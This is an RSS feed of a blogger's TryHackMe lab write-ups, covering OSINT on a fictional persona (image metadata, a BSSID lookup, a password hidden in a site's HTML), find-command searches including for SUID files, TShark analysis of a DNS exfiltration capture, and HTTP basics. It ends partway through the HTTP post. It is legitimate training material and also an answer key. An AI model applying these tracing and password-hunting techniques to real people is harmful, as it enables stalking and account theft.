<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Omri Bornstein</title>
    <description>The latest articles on DEV Community by Omri Bornstein (@applegamer22).</description>
    <link>https://dev.to/applegamer22</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F81543%2Fd1ddb390-b19f-4f82-99ae-8b22800f6ed1.png</url>
      <title>DEV Community: Omri Bornstein</title>
      <link>https://dev.to/applegamer22</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/applegamer22"/>
    <language>en</language>
    <item>
      <title>TryHackMe OhSINT</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Sat, 03 Jul 2021 10:53:34 +0000</pubDate>
      <link>https://dev.to/applegamer22/tryhackme-ohsint-37l5</link>
      <guid>https://dev.to/applegamer22/tryhackme-ohsint-37l5</guid>
      <description>&lt;h1&gt;
  
  
  TryHackMe &lt;a href="https://tryhackme.com/room/ohsint"&gt;OhSINT&lt;/a&gt;
&lt;/h1&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Hammond, J. (2020). TryHackMe! OhSINT - METADATA &amp;amp; Research [YouTube Video]. In YouTube. &lt;a href="https://youtu.be/oF0TQQmFu4w"&gt;https://youtu.be/oF0TQQmFu4w&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;OWoodfl1nt. (2019, March 3). OWoodfl1nt/people_finder. GitHub. &lt;a href="https://github.com/OWoodfl1nt/people_finder/blob/master/README.md"&gt;https://github.com/OWoodfl1nt/people_finder/blob/master/README.md&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;OWoodflint. (2019, March 4). Twitter status. Twitter. &lt;a href="https://twitter.com/OWoodflint/status/1102220421091463168"&gt;https://twitter.com/OWoodflint/status/1102220421091463168&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;WiGLE.net. (2011). WiGLE: Wireless Network Mapping. wigle.net. &lt;a href="https://www.wigle.net/"&gt;https://www.wigle.net/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Woodflint, O. (2019, March 3). Oliver Woodflint Blog. Oliver Woodflint Blog; Oliver Woodflint Blog. &lt;a href="https://oliverwoodflint.wordpress.com/author/owoodflint/"&gt;https://oliverwoodflint.wordpress.com/author/owoodflint/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is this users avatar of?
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;By running &lt;code&gt;exiftool WindowsXP.jpg&lt;/code&gt;, the following output tells that &lt;code&gt;OWoodflint&lt;/code&gt; is a possible link:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ExifTool Version Number         : 12.16
File Name                       : WindowsXP.jpg
Directory                       : .
File Size                       : 229 KiB
File Modification Date/Time     : 2021:04:10 14:52:00+10:00
File Access Date/Time           : 2021:04:10 14:51:59+10:00
File Inode Change Date/Time     : 2021:04:10 14:52:08+10:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
XMP Toolkit                     : Image::ExifTool 11.27
GPS Latitude                    : 54 deg 17' 41.27" N
GPS Longitude                   : 2 deg 15' 1.33" W
Copyright                       : OWoodflint
Image Width                     : 1920
Image Height                    : 1080
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1920x1080
Megapixels                      : 2.1
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Position                    : 54 deg 17' 41.27" N, 2 deg 15' 1.33" W
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;The Twitter profile &lt;a href="https://twitter.com/OWoodflint"&gt;@OWoodflint&lt;/a&gt; has a cat in its avatar.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;cat&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What city is this person in?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The GitHub user &lt;a href="https://github.com/OWoodfl1nt"&gt;@OWoodfl1nt&lt;/a&gt; has a github repository &lt;a href="https://github.com/OWoodfl1nt/people_finder"&gt;OWoodfl1nt/people_finder&lt;/a&gt;, and it's &lt;a href="https://github.com/OWoodfl1nt/people_finder/blob/master/README.md"&gt;README.md&lt;/a&gt; says:
&amp;gt; # people_finder
&amp;gt; Hi all, I am from London, I like taking photos and open source projects.
&amp;gt;
&amp;gt; Follow me on twitter: @OWoodflint
&amp;gt; 
&amp;gt; This project is a new social network for taking photos in your home town.
&amp;gt; 
&amp;gt; Project starting soon! Email me if you want to help out: &lt;a href="mailto:OWoodflint@gmail.com"&gt;OWoodflint@gmail.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;London&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Whats the SSID of the WAP he connected to?
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The Twitter profile &lt;a href="https://twitter.com/OWoodflint"&gt;@OWoodflint&lt;/a&gt; wrote in a &lt;a href="https://twitter.com/OWoodflint/status/1102220421091463168"&gt;Twitter status&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;From my house I can get free wifi ;D&lt;br&gt;&lt;br&gt;Bssid: B4:5D:50:AA:86:41 - Go nuts!&lt;/p&gt;— 0x00000000000000000000 (@OWoodflint) &lt;a href="https://twitter.com/OWoodflint/status/1102220421091463168?ref_src=twsrc%5Etfw"&gt;March 3, 2019&lt;/a&gt;
&lt;/blockquote&gt; &lt;/li&gt;
&lt;li&gt;&lt;p&gt;The website &lt;a href="https://www.wigle.net/"&gt;https://www.wigle.net/&lt;/a&gt; tells us that the BSSID &lt;code&gt;B4:5D:50:AA:86:41&lt;/code&gt; has an SSID of &lt;code&gt;UnileverWiFi&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;UnileverWiFi&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Where has he gone on holiday?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;According to Oliver Woodflint's &lt;a href="https://oliverwoodflint.wordpress.com/author/owoodflint/"&gt;website&lt;/a&gt;:
&amp;gt; Im in New York right now, so I will update this site right away with new photos!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;New York&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is this persons password?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Inside to Oliver Woodflint's &lt;a href="https://oliverwoodflint.wordpress.com/author/owoodflint/"&gt;website&lt;/a&gt; HTML code:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"color:#ffffff;"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"has-text-color"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;pennYDr0pper.!&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;pennYDr0pper.!&lt;/code&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>TryHackMe The find Command</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Thu, 24 Jun 2021 10:48:01 +0000</pubDate>
      <link>https://dev.to/applegamer22/tryhackme-the-find-command-10jg</link>
      <guid>https://dev.to/applegamer22/tryhackme-the-find-command-10jg</guid>
      <description>&lt;h1&gt;
  
  
  TryHackMe &lt;a href="https://www.tryhackme.com/room/thefindcommand"&gt;The &lt;code&gt;find&lt;/code&gt; Command&lt;/a&gt;
&lt;/h1&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Ahamed, I. (2020, May 13). The find command ~ THM Writeup. Medium; Medium. &lt;a href="https://irshadahamedpro.medium.com/the-find-command-thm-writeup-10dba7722261"&gt;https://irshadahamedpro.medium.com/the-find-command-thm-writeup-10dba7722261&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;GNU. (2021). Findutils 4.8.0. GNU. &lt;a href="https://www.gnu.org/software/findutils/manual/html_mono/find.html"&gt;https://www.gnu.org/software/findutils/manual/html_mono/find.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Be more specific
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Find all files whose name ends with &lt;code&gt;.xml&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; to search for items in the root directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-name "*.xml"&lt;/code&gt; to filter for items with a &lt;code&gt;.xml&lt;/code&gt; as a suffix&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find / -type f -name "*.xml"&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files in the &lt;code&gt;/home&lt;/code&gt; directory (recursive) whose name is &lt;code&gt;user.txt&lt;/code&gt; (case insensitive)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /home&lt;/code&gt; to search for items in the &lt;code&gt;/home&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-iname user.txt&lt;/code&gt; to filter for case insensitive name pattern of &lt;code&gt;user.txt&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find /home -type f -iname user.txt&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all directories whose name contains the word &lt;code&gt;exploits&lt;/code&gt;:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; to search for items in the root directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type d&lt;/code&gt; to filter for directories&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-name "*exploits*"&lt;/code&gt; to filter for items with &lt;code&gt;exploits&lt;/code&gt; substring in their name&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find / -type d -name "*exploits*"&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Know exactly what you're looking for
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Find all files owned by the user &lt;code&gt;kittycat&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; to search for items in the root directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-user kittycat&lt;/code&gt; to filter for items owned by the user &lt;code&gt;kittycat&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find / -type f -user kittycat&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files that are exactly 150 bytes in size
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; to search for items in the root directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-size 150c&lt;/code&gt; to filter for items of size 150 bytes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find / -type f -size 150c&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files in the &lt;code&gt;/home&lt;/code&gt; directory (recursive) with size less than 2 KiB and extension &lt;code&gt;.txt&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /home&lt;/code&gt; to search for items in the &lt;code&gt;/home&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-size -2k&lt;/code&gt; to filter items of size less than 2 KiB&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-name "*.txt"&lt;/code&gt; to filter for items with a &lt;code&gt;.txt&lt;/code&gt; as a suffix&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find /home -type f -size -2k -name "*.txt"&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files that are exactly readable and writeable by the owner, and readable by everyone else (use octal format)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; to search for items in the root directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-perm 644&lt;/code&gt; (octal format) to filter for items that are exactly readable and writeable by the owner, and readable by everyone else&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find / -type f -perm 644&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files that are &lt;strong&gt;only&lt;/strong&gt; readable by anyone (use octal format)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; to search for items in the root directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-perm /444&lt;/code&gt; (octal format) to filter for items that are &lt;strong&gt;only&lt;/strong&gt; readable by anyone&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find / -type f -perm /444&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files with write permission for the group &lt;code&gt;others&lt;/code&gt;, regardless of any other permissions, with extension &lt;code&gt;.sh&lt;/code&gt; (use symbolic format)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; to search for items in the root directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-perm -o=w&lt;/code&gt; (symbolic format) to filter items write permission for the group &lt;code&gt;others&lt;/code&gt;, regardless of any other permissions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-name "*.sh"&lt;/code&gt; to filter for items with a &lt;code&gt;.sh&lt;/code&gt; as a suffix&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find / -type f -perm -o=w -name "*.sh"&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files in the &lt;code&gt;/usr/bin&lt;/code&gt; directory (recursive) that are owned by root and have at least the SUID permission (use symbolic format)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /usr/bin&lt;/code&gt; to search for items in the &lt;code&gt;/usr/bin&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-user root&lt;/code&gt; to filter for items owned by the user &lt;code&gt;root&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-perm -u=s&lt;/code&gt; (symbolic format) to filter for items that have at least the SUID permission&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find /usr/bin -type f -user root -perm -u=s&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files that were not accessed in the last 10 days with extension &lt;code&gt;.png&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /usr/bin&lt;/code&gt; to search for items in the root directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-atime +10&lt;/code&gt; to filter for  items that were not accessed in the last 10 days&lt;/li&gt;
&lt;li&gt;* &lt;code&gt;-name "*.png"&lt;/code&gt; to filter for items with a &lt;code&gt;.png&lt;/code&gt; as a suffix&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;answer&lt;/strong&gt;: &lt;code&gt;find / -type f -atime +10 -name "*.png"&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Find all files in the &lt;code&gt;/usr/bin&lt;/code&gt; directory (recursive) that have been modified within the last 2 hours
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /usr/bin&lt;/code&gt; to search for items in the &lt;code&gt;/usr/bin&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; to filter for files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-mmin -120&lt;/code&gt; to filter for items that have been modified within the last 2 hours (120 minutes)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;find /usr/bin -type f -mmin -120&lt;/code&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>linux</category>
    </item>
    <item>
      <title>TryHackMe TShark</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Sat, 19 Jun 2021 02:20:41 +0000</pubDate>
      <link>https://dev.to/applegamer22/tryhackme-tshark-3j7g</link>
      <guid>https://dev.to/applegamer22/tryhackme-tshark-3j7g</guid>
      <description>&lt;h1&gt;
  
  
  TryHackMe &lt;a href="https://www.tryhackme.com/room/tshark"&gt;TShark&lt;/a&gt;
&lt;/h1&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;DarkSec. (2021). TryHackMe TShark Official Walkthrough [YouTube Video]. In YouTube. &lt;a href="https://youtu.be/tbXIFRS4u7I"&gt;https://youtu.be/tbXIFRS4u7I&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Reading PCAP Files
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How many packets are in the &lt;code&gt;dns.cap&lt;/code&gt; file?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;TShark's &lt;code&gt;-r&lt;/code&gt; flag enable reading a PCAP file.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;wc&lt;/code&gt;'s &lt;code&gt;-l&lt;/code&gt; flag counts the lines of a given input.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; dns.cap | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
38
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;38&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  How many A records are in the capture (including responses)?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;TShark's &lt;code&gt;-Y "dns.qry.type == 1"&lt;/code&gt; is used to filter DNS A records.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; dns.cap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.qry.type == 1"&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;6&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Which A record was present the most?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;TShark's &lt;code&gt;-T fields&lt;/code&gt; is used to specify the output's format.&lt;/li&gt;
&lt;li&gt;TShark's &lt;code&gt;-e dns.qry.name&lt;/code&gt; is specify which field to output.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; dns.cap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.qry.type == 1"&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name
www.netbsd.org
www.netbsd.org
GRIMM.utelsystems.local
GRIMM.utelsystems.local
GRIMM.utelsystems.local
GRIMM.utelsystems.local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;GRIMM.utelsystems.local&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  DNS Exfil
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How many packets are in this capture?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; task3.pcap | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
125
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;125&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  How many DNS queries are in this PCAP (excluding responses)?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; task3.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
56
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;56&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the DNS transaction ID of the suspicious queries (in hex)?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; task3.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.id
0x0000beef
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;0x0000beef&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the string extracted from the DNS queries?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; task3.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-c1&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/ //g'&lt;/span&gt;
MZWGCZ33ORUDC427NFZV65BQOVTWQX3XNF2GQMDVG5PXI43IGRZGWIL5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;MZWGCZ33ORUDC427NFZV65BQOVTWQX3XNF2GQMDVG5PXI43IGRZGWIL5&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the flag?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'MZWGCZ33ORUDC427NFZV65BQOVTWQX3XNF2GQMDVG5PXI43IGRZGWIL5'&lt;/span&gt; | &lt;span class="nb"&gt;base32&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
flag&lt;span class="o"&gt;{&lt;/span&gt;th1s_is_t0ugh_with0u7_tsh4rk!&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;flag{th1s_is_t0ugh_with0u7_tsh4rk!}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>TryHackMe HTTP in Detail</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Sat, 12 Jun 2021 06:41:36 +0000</pubDate>
      <link>https://dev.to/applegamer22/tryhackme-http-in-detail-4fcl</link>
      <guid>https://dev.to/applegamer22/tryhackme-http-in-detail-4fcl</guid>
      <description>&lt;h1&gt;
  
  
  TryHackMe &lt;a href="https://www.tryhackme.com/room/httpindetail" rel="noopener noreferrer"&gt;HTTP in Detail&lt;/a&gt;
&lt;/h1&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Try Hack Me. (2021). HTTP in detail - How the web works [YouTube Video]. In YouTube. &lt;a href="https://youtu.be/XZyapIKV3Rw" rel="noopener noreferrer"&gt;https://youtu.be/XZyapIKV3Rw&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is HTTP(S)?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What does HTTP stand for?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;HyperText Transfer Protocol&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What does the S in HTTPS stand for?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Secure&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  On the mock webpage on the right there is an issue, once you've found it, click on it. What is the challenge flag?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The page does not support HTTPS, click on the lock next to the page's address.
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbeu7qx7gdl2rph65jkjs.jpg" alt="The page does not support HTTPS"&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;THM{INVALID_HTTP_CERT}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Requests &amp;amp; Responses
&lt;/h2&gt;

